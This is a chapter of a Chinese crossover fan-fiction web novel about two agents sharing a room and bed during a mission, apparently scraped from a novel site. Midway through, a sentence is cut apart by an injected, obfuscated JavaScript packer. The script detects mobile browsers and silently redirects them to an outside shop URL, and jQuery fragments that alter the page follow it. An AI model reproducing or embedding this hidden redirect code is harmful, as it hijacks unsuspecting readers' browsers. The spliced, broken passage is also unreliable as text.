32.同床共枕

作品:《酒厂狙击手是个天然呆

    深夜,要不要将隐形眼镜弄掉又成了诸伏景光的一个难题。


    他们来的时候完全没想到会在住一天,因此什么也没有准备。


    隐形眼镜带过夜的话会对眼睛产生伤害。


    尤其是真纪的本领大部分来自于眼睛的情况下。


    谁也不确定会不会有什么副作用。


    反正,路易斯他们既然对真纪如此了解,那么肯定是知道她的眼睛是经过伪装的。


    明天带不带也无所谓了。


    这时,浴室的门被打开,浓郁的雾气从中飘出,模糊了日向真纪的身形。


    她穿着管家准备的睡衣,当然,这件衣服已经被诸伏景光翻来覆去仔细检查了无数遍。


    最终,他还是不太放心,重新洗了一遍用吹风机吹干才穿在她的身上。


    “眼睛好难受。”浴室升腾的雾气散开,露出的是她像兔子一样红的眼睛。


    “把它取出来扔掉吧,”诸伏景光有些担心将吹风机递给她,“我先去洗澡。”


    “嗯。”


    日向真纪对着镜子就这样战斗了十分钟,最终自己也没了耐心,只是难受得拼命揉着眼睛。


    幸运的是,成功将隐形眼镜揉了出来。


    她再也不要戴这个了。


    日向真纪盯着手中隐形眼镜的残片想着。


    诸伏景光很快洗好了澡,出来只看见,日向真纪的眼中止不住地流着泪。


    “怎么了。”他将毛巾盖在头上,边擦着边问道。


    “眼睛好干,哭的话感觉会好一点。”日向真纪用最平淡的语气边哭边说着。


    他看着日向真纪一本正经流泪的样子忍不住勾起了嘴角。


    原本口中的话语也卡了壳。


    她真可爱。


    诸伏景光的心里塌陷了一块,目光里带着他自己都察觉不了的柔软。


    管家准备的房间里只有一张双人床。


    “你先睡吧,我坐在椅子上就好了。”诸伏景光绅士地开口道。


    但日向真纪完全不懂他的意思,只觉得他是不是不想睡觉。


    “不可以,你也要上床睡觉。”日向真纪皱着眉头一脸严肃地拉起他的手,试图将他拽上床。


    “什么?”诸伏景光的瞳孔紧缩,他应激似的将她一把甩开,“异性不可以睡一起。”说完,他偏过头去,下意识地回避着她的视线,耳根泛红。


    “可明天我们得赶紧完成任务才行,得好好休息啊。”日向真纪的脸上写满了不解,“青川先生还是不要太任性了吧。”


    究竟是谁在任性啊。


    诸伏景光顿时有种秀才遇到兵的无力感。


    他看着日向真纪坚定的眼神,知道自己要是不按照她的想法来,那么,她是一定不会善罢甘休的。


    而且,他也想让她能好好休息。


    明天她大概会很累。


    想到这里,诸伏景光有些不忍心拒绝她了。


    因此,在日向真纪再次拉住他,将他往床上拽的时候,他选择了顺从她的心意。


    这还是他们第一次同床共枕。


    之前真纪为了监视自己最多也只是趴在床边。


    诸伏景光躺在床上,目光放空地看着天花板想道。


    深夜的环境安静极了。


    安静到自己都心跳声都如此的清晰。


    黑暗中,他盯着日向真纪的睡颜发着呆,一天的疲惫感如潮水般涌来。


    诸伏景光闭上了眼睛。


    第二天一大早,清晨的阳光透过窗帘照了进来,他睁开眼,有一瞬间的迷茫。


    日向真纪像一个洋娃娃一般被他死死抱在怀里,她的头埋在了他的颈边。


    鼻尖全都是她的气味。


    诸伏景光的脸“唰”地一下红透了。


    他没想到自己对她的气息已经失去了本该有的警惕心。


    他感受着颈边传来的属于真纪的呼吸,如同羽毛般轻抚过他的肌肤,留下了密密麻麻的颤栗。


    他知道自己现在应该叫醒她、推开她。


    可心底莫名很想让此刻变得长一点、再长一点。


    最终,诸伏景光还是狠下心,将她晃醒,“怎么样,眼睛恢复了吗?”


    日向真纪睁开眼,试了一下,随后失落地摇了摇头,“还没有,按照以往的情况,至少要满整整二十四个小时才可以。”


    诸伏景光在心中盘算着,二十四个小时,按照喝酒的时间来算应该是下午五点左右,离晚上的展会还有段时间。


    应该可以避开他们。


    ……


    时间


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115854|195206||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    过得很快,一眨眼就来到了下午。


    “好饿。”日向真纪抱怨道。


    “暂时忍一会,任务结束就可以去吃饭了。”诸伏景光拍了拍她的脑袋。


    早上和中午管家都派人来送饭。


    是很丰盛的早饭和午饭,但出于谨慎考虑,诸伏景光坚决不让日向真纪吃,以至于他们已经快饿了一天了。


    “怎么样?找到钥匙了吗?”诸伏景光担忧地望着一直开着白眼的日向真纪。


    “钥匙太小了,”她摇了摇头,“虽然也看见了很多,但是没有一个符合锁孔的形状。”


    时间一分一秒地过去,日向真纪的额头也冒出了细密的汗珠。


    诸伏景光去卫生间拿来一个打湿过的毛巾,仔细地给日向真纪擦着汗,“别着急,慢慢来。”


    从脖颈擦到额头的时候,他的手僵住了。


    掀开刘海,横穿额头的笼中鸟印记赫然显现。


    “这是什么?”他用手指轻轻拂过印记。


    虽然以前就隐约看见过,但当时的自己必定还不够资格知道。


    他回忆着一开始真纪对自己说的、在她能力上的谎言。


    不过,那肯定是琴酒的旨意,真纪可不是喜欢说谎的孩子。


    今时不同往日,自己已经在真纪的内心加了码。


    或许是个获取她情报的好时机。


    “是一个无关紧要的诅咒而已。”这么多年,日向真纪对笼中鸟早就看开了。


    这里没有日向宗家,不用担心有人会发动笼中鸟,只是这个印记过于显眼有些麻烦。


    “诅咒?那会对你有害吗?”诸伏景光心下一沉,指节微微用力,感受着这个诡异的图案。


    它不像是纹身。


    但……诅咒?


    为什么?


    为什么还要用蹩脚的借口来敷衍他?


    他看向日向真纪的目光暗了下去,难道他们还不够亲近吗?


    “没关系的,它现在已经不能给我带来伤害了。”日向真纪第一次向他露出了一个堪称灿烂的笑容。


    一瞬间,诸伏景光的身体有些僵住了。


    他垂下了眼眸,嘴唇微微抿起,心念一转,也许她自己也不知道呢。


    说不定,额头上是组织实验的产物。